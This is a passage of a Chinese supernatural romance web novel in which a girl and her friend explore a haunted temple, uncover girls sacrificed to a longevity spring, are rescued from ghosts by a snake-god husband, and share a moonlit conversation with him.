“银杏。”我握住银杏的手指,毛骨悚然的盯着娘娘神像看,视线落在她眉心的凤凰花钿上,不禁头皮发麻:“你有没有觉得,这尊神像,不像神娘娘?” “啊?” 银杏被我这么一提醒,也瞪大双眼再次仔细瞧了会儿神娘娘的脸, “是哎!好像与神娘娘只有七八分像……而且,貌似更像……” 第23章 宋花枝是在骗香火 后面的话她没有直接说出口,我替她说道:“更像宋花枝,对不对?” 尤其是神像眉心的那抹凤凰花钿,我记得村里老人以前坐在大槐树下聊天的时候说过,宋花枝刚出生那会子眉心根本没有凤凰花钿。 后来宋花枝长得越来越像庙里的神娘娘,十二岁生辰那晚,眉心突然就生出了那抹赤色花钿。 也是因为这抹花钿,更坐实了宋花枝就是神娘娘转世的猜测…… 但庙里的那位神娘娘,从始至终额头都没有什么凤凰花钿! 有花钿的,只是宋花枝。 银杏惊恐地跑近神像几步,站在神像跟前凝望了它许久,点头确认: “是宋花枝,宋花枝是狐狸眼,仔细看,宋花枝和神娘娘还是有区别的!” 说着,银杏又指向神像捻着莲花的那只手,努力向我证明: “神娘娘的手型纤长好看,宋花枝的手翘得像鸡爪子,而且,宋花枝右手食指内侧有一颗小痣,这尊神像也有!” 我顺着她手指的方向看过去,还真是,食指内侧有颗小痣。 如果说面容与凤凰花钿都是塑神像的工人不小心塑成这样了,乃是巧合,那神像食指内侧的小痣又怎么解释? 要不是因为这尊神像从一开始就打定主意要塑成宋花枝,怎么可能连食指有痣这一小细节都还原出来了! 所以…… “宋花枝,是在骗香火!”我说。 可就在我说完这句话,门口突然有道阴风卷过,我和银杏下意识扭头,却见到殿门口影影绰绰有红影快速飘来飘去。 不知从哪冒出来的白色冥钱顿时从天而降,如落雪般哗哗啦啦洒了我们一身! 荒山野岭的没有人,肯定是鬼了…… “我的妈耶,这地方真闹鬼!”银杏怂包地扑过来搂紧我胳膊。 我深吸一口气,努力抚平慌乱的心绪,拍拍银杏手背,沉沉道:“别怕,我们俩身上都有符,她们不敢近身的。” 话刚说完,门口就又出现了一道纤瘦少女身影—— 少女身上穿着与我来时,身上一样的暗红古代神仙装。 衣袂飘飘,长裙曳地,头上挽着双环髻,髻上攒着银凤与红绢花。 与我不一样的,她的发髻上,还罩着一层薄薄的红纱。 少女抬起肤色黯沉的瘦细双手,肢体僵硬地撩开面前罩着的红纱—— 再抬头,没有眼黑的白眼珠里,有血浆咕咚咕咚涌出来。 两行血泪,直溜溜地淌下少女苍白脸颊…… 少女翻着白眼,双目流完血,鼻孔也开始溢出黑色的不明汁液。 背对着日暮天光,诡异地扯开嘴角,唇边裂开一个血口子,拉至耳畔—— 撕裂的血肉里,有肉蛆蛄蛹。 “啊——我的娘啊!”银杏害怕地抱住我,一头埋我肩膀上哭爹喊娘,“好恶心!好恐怖!忍不了了,我要掏符了!” 听见银杏要拿符对付她,那脏东西一瞬间又消失不见了。 我麻木地猛吞了口口水,拍拍银杏的肩膀告诉她:“没事了,她走了。” 银杏这才敢气喘吁吁地从我怀里出来,看了眼空荡荡的门外,如释重负地松了一口气,“吓死我了。” 我稳了稳心神,拉上银杏,道:“我们再去后面的神殿里看看!” “啊?还看啊!天都黑了!” 既然来了,那就趁机把长生宫里的秘密全都撬出来。 一脚迈出神殿的门槛,我突然觉得脑中一阵晕厥…… 只好在那晕厥感来得快,去得也快。 我踉跄了一步,缓过神后又一路小跑着拽银杏去第二座神殿。 长生宫与娘娘庙的内部格局皆是中轴线上三座大殿,后方与左右两侧搭配了一些存杂物的空房子,或者供奉其他野仙精怪的偏殿。 娘娘庙的第二座神殿供奉的是狐仙娘娘与黄大仙,但长生宫的第二座神殿,推开门一眼望去,是十七副长生玉女的牌位。 看似与娘娘庙不同,实则,异曲同工。 真正的娘娘庙,从主殿到第三座大殿,分别是庙里主神娘娘、侍奉主神的山中野仙、以及不计其数的山鬼山妖。 狐仙娘娘与黄大仙充当的正是神娘娘仙侍的角色,而这十七副长生玉女牌位,也正是侍奉宋花枝的侍女! 我有一种,宋淑贞想让宋花枝顶替神娘娘的预感。 大门甫一推开,扑面就是呛人的灰烟。 殿里供桌上的十七副牌位也因常年没人擦拭而蒙了厚厚一层灰。 银杏怂里怂气地抱着我胳膊憋屈咕哝: “她刚才还去吓唬咱们了,现在倒好,咱们不躲着她们也就算了,还直接跑到了鬼窝里!万一她们关门打狗瓮中捉鳖,咱俩不就完犊子了……” 我呛住,尴尬请求:“杏啊,你可不可以收着点,不要乱用成语。我不想当狗,也不想做鳖。” 银杏不好意思地摸摸鼻头:“你也知道我文化有限,咳,谅解一下。” 我拿她没办法地叹口气,摸摸她的脑瓜子,继续往神殿里走。 不过,殿里不知何故,房梁上竟然吊着数百根红线,红线上还贴着明黄色的符纸。 殿里四角也被钉上了柳木。 像是被下了什么阵法! 我走到供桌前,低头往牌位上吹了口气。 附落在牌位上的灰尘一阵烟被扫得干干净净。 “刘家女,刘月亮。” “赵家女,赵元儿。” “何家女,何小小。” “李家女,李金桃。” “……” 我小声把牌匾上的名字念出来,走到最后一副牌位前,却发现牌位上的名字泛着血光…… “白家女,白蝴蝶。” 刚才我们看见的,应该就是她! 殿里阴气太重,银杏搓了搓肩膀上的鸡皮疙瘩,瞧着桌上一字排开的牌位唏嘘道: “刘家女是第一位长生玉女,大祭司准备挑人祭长生泉的时候,她刚好因病亡故,才死两天,棺材还没入土,尸体就被大祭司命人直接带走了。 赵家女是第二位,也是刚死,就被大祭司选中了。 何家女和你一样,是活着进来的,理由很离谱,何小小十八岁那年,她家里给她挑了个丈夫,谁知结婚那天她突然逃婚了。 听说还要和外族的野男人私奔,就被家人抓回来了,她是她父母亲手塞进长生宫的。 还有江家女,她家里人就怕她被选上做玉女,便故意隐瞒了她已死的消息。 她死后她家人依旧把她放在屋子里,用棉被裹着她的尸体,藏了七天。 本来想熬到五月,等长生玉女的事过去了再给她下葬,谁知大祭司竟然算到了她亡故一事,还正巧就选上了她! 后来,她还是被大祭司的人给带走了,她母亲追她的路上还被摔断了腿…… 最后这位白家女,是个瞎子。家里父母都没了,只剩下她和她弟弟。 只是她弟弟多年前走丢了,她就被她大伯大娘收养了,她大伯大娘对她一点也不好。 听说她是病死的,在死前已经病了小半年了,可她大伯大娘舍不得给她花钱拿药,就活活把她熬死了。 去年选玉女那会子她甚至还没有死,吊着一口气一直撑到族人给她换上玉女的衣服,在来长生宫的路上一口血吐出来断气的。” 我拿起白蝴蝶的牌位,用自己的袖子给它擦了擦:“这些女孩的魂魄被困在这里,只为了侍奉一个还活着的假神,也太可悲了!” 银杏重重点头,无奈道: “那能怎么办,大祭司说了,要拿她们献祭长生泉,用她们的纯洁之体供养长生泉。 长生泉能让人延年益寿,死了的人再重要,也重不过活着的人。 再说,阴苗族八寨十三村上千户人家,每年只需要献祭一个年轻女孩,大部分人,既不用体验骨肉分离之痛,又能获益长生。 人都是自私的,他们高兴还来不及呢。谁不乖乖把女儿献出来,谁就是在要所有族人的命!” 我蹙眉怀疑:“长生泉能为人延年益寿,真的是因为有这些年轻未婚女子的供养?” 银杏耸耸肩,直白道: “长生泉为何会令人延年益寿,这个秘密或许只有你那个大祭司母亲知道。 而且长生泉并不是一开始就效果显著,是你姐姐以圣女的身份,亲自以纯洁之身供养长生泉开始,长生泉的泉水才有消灾祛病的功能。 这几年,效果更显著!村头的张大妈你还记得么? 两年前她中风差点就瘫痪了,去年喝了长生泉的泉水,没几天就可以下床走路了。 现在阴苗族的人哪个不晓得长生泉能让人延年益寿是你姐姐这位神娘娘转世的圣女功劳。” 晃了晃我的胳膊,银杏又说: “你有没有觉得这个操作,像现在的经纪公司? 明星爱豆在出道前都会被公司以各种噱头造势包装,然后明星爱豆再顺理成章地出现在大众眼前,享受万众瞩目。“ “在出道前会被用噱头造势……” 我意外地重复了一句,那宋淑贞搞出这些噱头,最终目的又是什么? 只是为了让族人们信服宋花枝就是神娘娘转世吗? 我把牌位重新放回供桌上,脑子里还在想着那些麻烦问题,身后却突然伸出一双冰冷的手,死死用力攥住了我的脖子! 我陡然一惊,恐慌地挣扎反抗,“放开、放开我……” 更吓人的是,同一时间,银杏也被一股红雾撞飞了出去,掀翻摔在地。 头顶的红线下,瞬间聚集了无数冤魂。 那些红衣冤魂个个本事强大法力强大,出手招招致命…… “银杏……”我看着摔倒在地额头流血的银杏,担忧地朝银杏伸手,想要去找银杏,可身后这双手却死死掐着我脖颈不许我挪动。 僵硬的骨节越收越紧,我也被掐得眼前发黑,大脑缺氧,胸口阵阵闷疼,像是被千斤巨石压着…… 眼见着那些红衣厉鬼要朝银杏飞过去对银杏下死手,我痛苦地咬紧牙关,嘶声喊道:“不要,银杏!” 那双冰凉刺骨的修长女鬼手发现我还有力气喊叫,攥着我的脖子就要把我往后拖。 我重心不稳的连退数步…… 便在我实在撑不住,眼前黑得愈发厉害,险些被女鬼掐得一口气上不来那一瞬—— 一股更强大的法力猛地从我背后袭来,穿过我的身体时仅是一阵凌冽寒风,可穿过女鬼的魂魄时,却令女鬼痛得嘶吼一声,魂魄散成数缕红烟! 脖子上一松,我也登时腿上一软。 后退两步,稳稳撞进男人踏实温暖的怀抱。 第24章 你休想与别的男人再续前缘 “鸾鸾!”蛇王大人及时揽住我的腰肢,眸眼深沉地紧张将我捞进怀里护住。 我听见他温柔的称呼,愣了下。 旋即回过神来,赶忙晃了晃蛇王大人胳膊,急切向他求救:“蛇王大人,还有银杏,救救银杏!” 他闻言,出手极快一掌法力震散了那些扑向银杏的厉鬼亡魂。 趴在地上瑟瑟发抖的银杏狠狠舒了口气,一头倒下去躺平猛拍胸膛: “吓死我了,呜呜,我老爹说得对,还是蛇王大人靠谱啊!” …… 从侍女殿出来,外面的天已经完全黑了。 我们三人又回到了先前落脚的小屋子,银杏从腰间布袋里掏出一根蜡烛,用火折子点燃。 把蜡烛用蜡油焊在破桌子上,然后再颓废地往旧椅子上一坐,怀疑道:“那些玉女被困在长生宫都变成厉鬼了,还怎么供养长生泉?” 我也对这座完全复刻娘娘庙的长生宫产生了无数好奇,“银杏你知道,那些玉女的尸体,最后都被如何处理了吗?” 难道是埋在长生宫里? 银杏摇摇头:“这你还真问住我了,往年那些玉女的后事都是大祭司亲自处理的,我爸和村长都不清楚。” “她们的尸身,就在玉女殿。”蛇王大人忽启唇道。 “玉女殿?”我恍然大悟:“难怪我看那些红线,像是困住魂魄的阵法。但,玉女殿好像也不大,那里怎么能埋得下十七具尸体,难不成是玉女殿有地下暗室?” 蛇王大人偏头意味深长看我:“她们,已经没有尸体了。” 我一愣:“什么?” 银杏托着下巴诧异猜测:“火化了?” 蛇王大人淡淡道:“可能还要更残忍些。” 比火化更残忍? 碎尸万段?亦或是,直接用化骨水化了? “到底是什么,蛇王大人你别吊胃口啊。”银杏急切地想知道答案。 蛇王大人面不改色地轻启薄唇:“你们很快就知道了,提前告诉你们也是无用。” “啊?”银杏失望地垂头丧气,郁闷瘪嘴:“又要等,蛇王大人怎么也喜欢话说一半留一半。” 我双手交叠趴在圆桌上,平心静气: “蛇王大人现在不说,肯定有他的道理。等吧,后天就是四月二十六了,到时大祭司会带圣女前去后山长生泉禁地沐浴,族人们还要来长生宫上香,在此之前,大祭司一定会想法子要我的命。” 银杏听完我的话亦是坐直身警觉起来: “对,不知道后天她打算用什么法子逼死你。不过镜镜你放心,我爸会想法子救我们出去的,蛇王大人也在这里,咱们死不了的!” 我点点头:“我晓得自己死不了,但我们也要尽快弄清长生宫的秘密,搞明白大祭司与宋花枝到底想利用长生宫做什么。” “今晚先凑合一夜吧,明天咱们再去探索!”银杏托腮安静一阵,肚子忽然咕咕叫了起来,颓废地揉了揉小腹,又猛地坐了起来:“对了,我包里有吃的!” 说着就扯下腰间的乾坤袋,从里面翻出了……三个大红薯! “幸好,有存粮,不怕被关在这里渴死饿死了。镜镜咱们今晚就烤点红薯充饥吧,明天一早我再找找长生宫里有没有水源。” 我惊讶盯着银杏手里的乾坤袋:“你包里怎么连红薯都有啊?” 我一直以为银杏的乾坤袋是专门放法器及灵符的,偶尔也会放点毒蛇毒蝎子,没想到竟然还有红薯…… 不过这东西和毒物放在一起,还能吃吗? 银杏拍拍手一本正经道: “也是赶巧,昨晚我爸把家里囤的一筐没吃完的红薯搬了出来,准备做红薯干,我就顺手挑了几个大的揣兜里,想着有空架火烤了吃,谁能想到今天就用上了! 都怪那个墙头草赵二,我猜到过他可能不靠谱,突然反悔不给咱们作证,却没想到他竟然把事做得这么绝!不说实话也就算了,还倒打一耙! 这王八蛋,从前口口声声说喜欢你,和你是青梅竹马,打小就暗恋你想娶你,现在背叛起来你,脸不红耳不赤的。还是老祭司有先见之明,只用一招就视出了这货对你不是真心。 当年真是好险,差一点你就嫁给赵二这个蠢货渣男了!” 我揉揉鼻头:“没有,我其实本来就没……” ‘打算嫁给他’几个字还没来得及说出口,坐在我身边的男人就寒着脸,突然握住我的手腕,像是找我兴师问罪来了。 偏头假装平静,实则眼底的不悦都快把我溺死了。 冷冰冰的问:“他是你的青梅竹马,还想娶你?难怪你昨晚,那样信任他。” 我啊了声,他这是误会了?以为我喜欢赵二哥? 这点小事也生气,蛇王大人心眼真小。 “没,那都是以前的事了,我们是从小一起长大,但我对他没有男女之间的那种感情。”我急忙解释。 银杏见状也反应慢半拍地附和我:“啊对!我作证,镜镜对那个赵二才没兴趣呢,之前他要娶镜镜也只是他的一厢情愿。” 谁知男人听完不晓得记哪门子仇,拂袖起身,走到门口没好气道:“有没有那种感情,你自己最清楚!” 我:“……” 银杏默默凑近我,小声和我说:“啧,你家这位蛇王大人醋性真大!” 我干笑两声,抬手遮在脸颊亦小声回银杏:“他可不是吃醋,他纯占有欲强。” 我之前就听说过,蛇仙都挺霸道小心眼的。 他只是把我当成了完全属于他的猎物,我们之间没有爱,只有互相索取。 他突然闹别扭,我也不知道该怎么哄他。 正好屋子里堆放了一些干柴木,银杏抽了几根木柴在屋里空敞地点了堆火。 我和银杏席地而坐,把红薯埋进柴火堆里,烤了将近四十分钟,才从柴火灰烬里扒出三个热腾腾的熟红薯。 银杏挑了个最软的递给我,我剥开触手即破的红薯皮,吹吹被烫红的指尖,扭头朝门口望过去。 银发青袍的男人还负手立在原地,目视门外夜空,一动未动。 这位蛇王大人的气性那么大吗?该不会,现在还生气吧…… 再怎么说人家也出手救过我几次,我如果真将他丢在一边,放任他生闷气不管,那岂不是有点没良心。 我捧着炙手的红薯犹豫片刻,还是选择乖乖向他服软低头。 反正他也没有杀我的念头,不管他以前是不是祸害苍生无恶不作的青蛇大妖,至少现在,他的所作所为,都是在庇护我,救我小命…… 从小到大,除了银杏与外婆,没人会在我遇见危险时第一时间不管不顾冲出来救我。 现在外婆过世,我只剩下银杏了,他是第三个会在我命悬一线时紧张喊我名字,把我抱在怀里的人。 人活一世,能遇见的可以托付性命的人不多,哪怕他保护我是另有目的,我也该珍惜他的存在。 从前的他是恶名远扬,但现在的他并没有当着我的面害人…… 或许,我应该听李大叔的话,试着了解他。 我捧着红薯爬起身走到他背后,伸手扯了扯他的袖子,探头去看他的脸。 却发现他眼角红红的。 怎么、委屈成这样了…… 见我过来找他,他面无表情地垂眼冷冷扫我,有点赌气:“干什么?” 看他这样,我突然心生内疚,不好意思地咳了咳,扯着他的袖子厚着脸皮摇晃请求:“那个,蛇王大人,我们谈谈?” 他拧眉,眸中一沉:“谈什么?” 不知又想到什么地方去了,别过俊脸冷漠道: “本尊说了,是你先招惹的本尊,你只能是本尊的妻子,现在反悔想和别的男人再续前缘,做梦!” 第25章 人与蛇之间的信任呢? 我无语哽住,心累捧起红薯:“没有,我是想和你谈红薯怎么吃!” 他陡然怔住。 我也不管他生不生气乐不乐意了,隔着他的袖子拽住他手腕就把他往外面带:“刚才烤红薯把我热出一身汗,我们去找个有风的地方歇着!” 他没有接话,但也没有拒绝我拽他出门。 长生殿外,我硬拉着他一起坐在歪脖子梨花树上。 把手里红薯掰成两半,一半递给他。 晃着双腿,一手扶着粗壮树枝,一手拿红薯往嘴里塞。 看他握着半截红薯迟迟不吃,我小声劝道: “很好吃的,很甜,你就尝尝嘛。李大叔家的红薯地种出来的红薯又大又甜,每年收红薯的时节,村里很多熟人都争着拿钱买,拿东西换。 我家的每年冬天也能吃到李大叔送的不少红薯,但都留不住,没出正月就吃完了。 这个时候,也就只有李大叔家还存有红薯了,李大叔家有个特好用的地窖,红薯丢进去能保存小半年。” 他静静听着我的话,还是没反应。 我缓了缓,从自己没咬过的地方掰了一块主动送到他嘴边: “你是不是不喜欢吃红薯啊?要不然你先尝一小口,这块地方我没咬过。 你浅尝一口,觉得好吃就继续吃,不好吃的话,也别勉强自己,这一半还给我,我自己能吃完。 你先前说你修炼有成早已辟谷,那不吃一两顿饭,应该也饿不着。” 他微微一愣,垂下幽暗深沉的眼眸,冰凉目光落在我送过去的那一小块红薯上。 儒雅张嘴,听话地把那一小块红薯含进口中。 清凉薄唇还不小心碰到了我的指尖。 顿时一阵浅浅的酥麻感自指腹沿着我的手臂,窜进我全身。 激得我手上一抖。 我本能红了脸,连忙别过头假装看别的方向…… 不对。 我只是不小心和他有了接触,羞什么啊! 几秒钟后,他认同颔首:“是很甜。” 我欢喜道: “是吧,我没骗你吧!那你快吃,虽然已经辟谷,不用食人间烟火,但人间有句话说得好嘛,唯美食不可辜负!生在世间,就该享受这个世界对我们的馈赠!” 谁知我话才说完,手里的红薯就被他抢了去。 然后又被他塞了另半截红薯。 我不明所以地眨眨眼睛,歪头看他:“你、这是什么意思?” 他毫不嫌弃地咬了口我吃过的红薯,脸上看不出任何情绪:“本尊和你换换。” 我呛住:“可是那半截我吃过……” 他清风霁月地淡淡道:“本尊不介意。” 我捧着本该属于他的那半截红薯,还是不理解他为什么要换我吃的,难道他觉得,我小心眼,掰走的那一半比较甜? “同一个红薯,甜度都是一样的。”我无奈鼓腮,给他的这一截明明还是一大半呢。 “无关甜不甜。”他丰神俊朗地瞟我一眼,气死人不偿命道:“本尊怕你给本尊下毒。” “啊?!”我当即无辜自证:“我干嘛要给你下毒啊!我是那种,莫名其妙就给人下毒的人吗?” 他优雅咬了口红薯,还咬在了我啃得乱七八糟的地方。 不知是不是我看错了,有一瞬我似乎在他唇畔捕捉到了上扬的弧度。 “你连送替身,拿驱蛇符驱本尊,用不明药粉害本尊的事都能干出来,本尊防着你给本尊下毒,有问题吗?” 他挥开墨青色暗金云纹广袖,故意用冷漠眼神盯我: “本尊听说过你们阴苗族最善制阴蛊,阴蛊可医人,更可无声无息毒死人。 你是阴蛊女,你想给本尊下蛊,本尊倒是能扛得住,但本尊怕疼。 本尊怕你给本尊下那种剜心割肉的蛊,届时即便本尊把蛊逼出来,本尊也要难受一阵,本尊,受不住那种折磨。” 我十分不爽地啃了口手里的红薯, “我要是真有那种蛊,早就给你下了!你肯定没注意,我上次拿药粉对付你,还是临时从书本上学的。外婆在世时倒是会炼蛊,但是我没学……” “你还真想毒死本尊!” 他蓦地抓住我手腕,凌冽眉眼里划过一丝伤怀,语气生硬的低低骂了句: “真是个,小没良心的女人!” 我咬着红薯壮起胆子把手从他掌中抽出来,无奈道: “我的意思是,我要是真有这么厉害的蛊,当时你突然冒出来,我为了自保就用在你身上了。 之前不是咱俩不熟嘛,你是蛇王,我是人,我还为了沾你气运拿你挡灾,把你给…… 咳,我那时候还不知道咱俩在梦里,你主动过,要不然我也不会那么怕你吃我。 而且,我怎么会狠毒到给人下剜心割肉那种蛊,别说我还不会炼蛊了,就算我真有什么折磨人的蛊,现在也不会拿来毒你,你现在可是我靠山!你见过谁把自己靠山毒死的。” “这还差不多。”蛇王大人眼底的不爽淡了些。 我静了静,又捧着红薯往他身边凑凑:“不过,你可是蛇王,一个大男人怎么会怕疼?” 蛇王大人瞥我一眼,斯文慢理地剥手里红薯皮。 我见他似乎不愿和我说原因,就没有再追问,而是乖乖坐在树上吃红薯看夜空那轮朦胧的月亮。 过了很久,他才说:“因为,本尊曾被人,千刀万剐,剁碎过全身骨头。” 千刀万剐,剁碎过全身骨头…… 乍一听见这些话,我后背一阵发凉,脊椎都麻了! 手上一抖,心跳如鼓,不安的情绪传遍全身,肩骨发酸。 错愕地昂头看他,对上他那双灿若碧海星辰的深眸,视线直达他眼底暗藏的悲凉苦涩…… 我咽了口口水,愧疚地伸手拍拍他的背。 他愣住,亦意外地继续凝视我。 “不说了,没事,都过去了。你现在已经是很厉害的蛇王了,没人再敢欺负你了。” 我轻抚他后背,不好意思地补充:“我也不会。我没那么恶毒,我其实不怎么会炼阴蛊,这一点你尽管放心。” 他愣神了良久,瞧着我现在反应,挑眉故意问:“你心疼了?” 我僵住手上动作,耳根发烫地扭过头,被他一句话问得心跳紊乱。 “我这是,正常的朋友相处状态!朋友之间我安慰你几句,不正常吗?” “朋友?”蛇王大人眯了眯好看的凤眸,唇角微微上扬:“你要和本尊做朋友?” 我低头心猿意马,闷咳一声,轻轻嘀咕:“反正我这辈子,是要和你搭伙过日子的,我得抱你大腿……” 他安静一阵,说:“嗯,从朋友做起,也可以。” 我木讷地扭头,看着他那张帅到让人咽口水的俊脸,没想到他竟然,直接答应了。 我还以为他这位傲娇霸道的主,就算愿意和我做朋友,也绝对不会说出口呢。 他与我相视了一阵,抬手,指尖温柔撩开我额角被风吹乱的碎发,口吻一贯的霸道强势: “本尊可以同你从朋友做起,给你了解本尊的时间,但阿鸾,你得给本尊记清楚了,是你主动与本尊结血契,亦是你穿着嫁衣去找本尊洞房,你此生,只能是本尊的女人,别妄想,摆脱本尊!” 嗯,完了,这次是真惹上了一位不好送走的主。 不过,就算是和他来一段无爱的婚姻,我也不吃亏。 他长得好,还能救我小命。 在月阴村,我需要一个靠山罩着我。 我心虚收回视线,吃完剩下的红薯:“你不觉得你有时候的话,有点自相矛盾吗?” “嗯?” “你说我是你的女人,但你又说你不会插手我的命数,但问题是,咱俩要是真做了夫妻,我的命数肯定会被你影响啊。 就像灰狐仙那件事,你不出面救我,我就一命呜呼了,你出手救我,我的命数就已经被你影响了。” “然后呢?” “然后,你说的不插手我命数这一点,根本不成立,因为你选择保护我,就肯定会影响我的命数。 虽然你后来又说,你是因为相信我,才不出面罩着我,但是蛇王大人,反正你已经乱了我的命数了,再乱点,也没关系嘛……” “你还是在怨本尊没有出手把你从娘娘庙里捞出来。” “不是,我的意思是,我知道您想历练我,我也的确得学着自己面对风雨。 但,蛇王老爷,咱俩商量一下呗,以后……我要是再在外挨揍,你象征性地允许他们给我吃点教训算了。 嗯……我都有你这座大靠山了,总不能没苦硬吃。” “……肩膀还疼吗?” “疼!” 他若有所思地抬手搭在我肩上,还没用力,我就夸张地哎呦叫起来:“疼疼疼!” 他见状,脸一黑,一臂捞住我的腰,把我揽撞进萦着清凉花香的怀抱,没好气道:“本尊对本尊的法力还是很有信心的,装得还挺像!” 我哽住,望着他那张俊脸,厚颜无耻地理直气壮道:“我、现在不疼,之前疼啊!” 他嗤笑:“也不知道是谁说,你的事,本尊没有义务帮你解决,本尊帮你是情分,不帮你是本分……” 我心虚呛住:“哎,那不一样嘛。现在咱们是什么关系,朋友嘛。一个合格的朋友是能为对方两肋插刀的!” 他存心逗我,上扬剑眉稍挑:“那你先为本尊两肋插刀,本尊再考虑要不要和你做朋友。” 我震惊:“你刚才不是已经同意了吗?” 他也愈发无耻:“本尊是同意了,但本尊现在想检验一下,本尊把夫人当做朋友,夫人能否真心相待本尊。” 我:“……人与蛇之间的信任呢?” 他:“你前两天,才刚洒了本尊一身药粉,还趁本尊不注意,往本尊身上贴符。本尊也想知道,蛇与人之间的信任呢。” 我:“……” 算了,说不过他。 小心翼翼扒拉开他箍在我腰上的手臂,我坐在树上看着月亮,一时愁绪万千。 “小时候,外婆总喜欢在有月亮的晚上,牵着我的手,带我出门遛弯,给我唱月姥姥童谣。以后,再也没有人会陪我在月亮下散步了。” 身边的男人沉默未语,只是霸道抓住我一只手。 我落寞地问他:“我身上的绝命蛊,是你解的?” 他还是没说话。 我又问:“你能解我的绝命蛊,为什么外婆还要以命换命,替我去死?” 这次,他终于沉声启唇:“你外婆用鬼符请本尊与你结契做夫妻,为你解蛊。你外婆画的最后一张鬼符,是给你的。她是遭反噬而亡。” “可,外婆明知道自己只能画三千张鬼符,第三千张,和第三千零一张是同一天画的,她明明可以少画一张……” 我不解地低喃。 第26章 被选进长生宫的都是死人 他说: “这是宋瑶芝的命,她在年轻时许下渡三千阴魂的承诺,你是三千阴魂之外的变数。 不过,你也无需太自责,你是她在人间唯一的牵挂,就算不给你画那张鬼符,她也活不了多久。” “为什么……”我伤心哽咽。 他深深瞧了我一阵,道:“你或许,从未明白你外婆想要什么。” 外婆想要什么…… 打我记事时起,外婆就是整个阴苗族人心中的活神仙,她只会问别人想要什么,却从没人问过她想要什么。 是啊,连我也不晓得,外婆想要什么。 我失落地看着月亮,疲倦地眨了眨干涩双眼。 过了良久,我下意识歪头倚在男人的肩上…… “蛇王大人……” “本尊,名唤青漓。” “那我能直接喊你名字吗?” “你说呢?” “……” 我低头,困乏地打了个哈欠,胆大用手指勾起他胸前一缕银发。 泛着银光的发丝在朦胧月影下显得格外温柔,宛若一泓流淌的月华…… “你的头发,是生来就这样吗?” “……嗯。” “还挺好看。” 他沉沉叹息:“你想睡,便睡吧。” “可是我还想吹风……” “等你睡着,本尊带你回去。” 等的就是他这句话! 我安心闭上眼,这几天发生的事太多了,我已经接连好几夜没有睡踏实,今晚好不容易早早有了困意,虽然被锁在长生宫,但好在蛇王大人出来了。 有他在,那就辛苦他老人家帮忙望个风,我先睡为敬! 农历四月的天已经有些热了,所幸我们生活在山脚下,正是夜风不温不凉的时节。 我歪头倚在他肩上,没几分钟就困倦地睡着了过去。 睡醒之前我其实有刻意和他保持距离,但睡着后,我的脑子就不听使唤了。 双手不自觉抱住他胳膊,情不自禁地往他身上蹭。 总觉得,他衣上的莲花香,我好像,早就很熟悉了…… 我靠在他怀里,睡得头重脚轻,脑中记忆杂乱。 有一瞬,突然觉得,他是我很亲的人…… 我们认识了很久很久。 双手不安分地攀上了他的脖子,我脑中晕天转地的,总感觉自己好像要从高处摔下去了—— “阿漓……” 被我紧紧搂住的男人喉结滚了下,呼吸一沉。 片刻后,温柔将我抱进怀里,放在他的膝上—— 一个清凉的吻,落在我的眉心。 “本尊被千刀万剐后,是你,亲手一块一块,拼全了本尊的蛇骨。” “本尊好不容易才认清自己的心,你却、忘了本尊。” —— 深夜,凉飕飕的风吹进我们落脚的小屋。 银杏趴在桌子上难受地裹紧身上衣物,不自在的砸吧砸吧嘴,哼唧两声。 我疲倦地往身边人怀里挤了挤,搓搓汗毛竖起的胳膊…… 忽有旋风扫进来,吹得房内旧纱幔摇晃翻飞,破木窗哐当击打着窗框—— 屋内的躁动异响吵醒了昏睡的我们。 银杏迷迷糊糊睁眼爬起身,我也头重脚轻的握住蛇王大人胳膊,从他怀里出来…… 揉揉朦胧双眼,忽然发现,屋里起雾了。 不对,应该是长生宫起雾了。 屋里地面萦起的薄雾是从门外飘过来的…… 寒冷刺骨的夜风吹得我很快便头脑清醒了,我伸手捞过被扔在另一张破旧条案上的外衣,老实把层层厚重外袍又给穿了上。 分了一件最厚实的外衣给银杏披在肩上,银杏拢紧红色外袍的衣领,眯着眼睛不解的看向外面漆黑沉重的夜幕,不耐烦的抱怨: “大晚上的,怎么又起阴风了,那些玉女的鬼魂真是不安分!蛇王大人还在这呢,她们就敢折腾。” 我瞧了一阵门外摇晃的树影,穿好外衣大步往门口走去:“我出门瞧瞧。” 银杏愣了愣,不放心的追上来:“等我,我也去!” 刚迈出门,我就看见长生宫几座神殿檐下的破旧红灯笼竟全都亮了起来。 可,那些灯笼里分明没有装灯烛! 长生宫除了每年四月二十六会打开一次,其余时间都是用铁链栓门上了重锁。 长生宫不像娘娘庙,日日都有香火,更没有守门人打扫庭院,常年都处于荒废的状态。 连檐下那一排排红灯笼上都落了厚厚一层积灰,不少灯笼上罩着的红纱都已经被风雨吹破腐蚀,烂了大半! 根本不可能有人为灯笼换灯烛,添灯油。 排排诡异的红灯在阴风里来回摇晃,洒在地面的橘红光影忽明忽灭。 庭前落叶被飓风高高卷起,满院乱飞,阴风呼啸,树叶沙沙…… 银杏赶过来拉住我的手,我正要往院子里走,耳畔却隐隐传来丝丝女人的啼哭呜咽声—— 猎猎北风里,女子哭声颤颤巍巍、断断续续,听起来,凄惨悲凉……令人毛骨悚然。 “银杏,你听见了吗?”我提心吊胆地问身边女孩。 银杏立即重重点头,神情凝重道:“像是从玉女殿传出来的。” 是那些亡魂在哭吗…… “我们去瞧瞧。”我拽上银杏直奔长生殿后方的玉女殿。 可路过一处荒草堆时,我忽看见草堆动了下,里面还传出窸窸窣窣的响动…… 我不禁牵着银杏停步,好奇地望着偏殿墙角堆放的半人高草垛。 蹑手蹑脚地走近那堆草,我屏住呼吸,心提到了嗓门眼…… 不确定里面到底藏着什么东西,弯腰从地上捡起一根粗树枝。 我伸手把树枝插进了草垛里,猛地把上层的荒草挑开—— “啊——鬼鬼鬼、鬼啊!”里面倏地传出一道少年的嘶吼声。 他突然惊叫,差些把我和银杏的小魂都给吓掉了! “哎呦我的妈!”银杏一个激灵抱住我,被本不该出现在这里的少年吓得疯狂拍胸脯大口喘气。 躲在草垛里的少年也慌里慌张手脚并用弯腰爬了出来,手伸进腰间斜跨的布袋,掏出一把不明粉末就朝我和银杏洒了过来—— “冤魂厉鬼,去死吧!” 不过,粉末洒在我二人身上,却没有给我和银杏造成任何伤害。 只是扬了银杏一脸,害银杏嘴巴里都灌进了粉末…… “呸!什么东西啊这是,又酸又苦!”银杏胡乱用手抹脸。 我低头闻了下落在银杏肩上的淡蓝色粉末,皱紧眉头,赶在那小少年拔腿跑远前急忙道: “这是辟邪驱鬼的阴蛊粉!我们不是鬼,你是谁家孩子,怎么进长生宫的?” 他用来对付我们的阴蛊粉,很厉害。 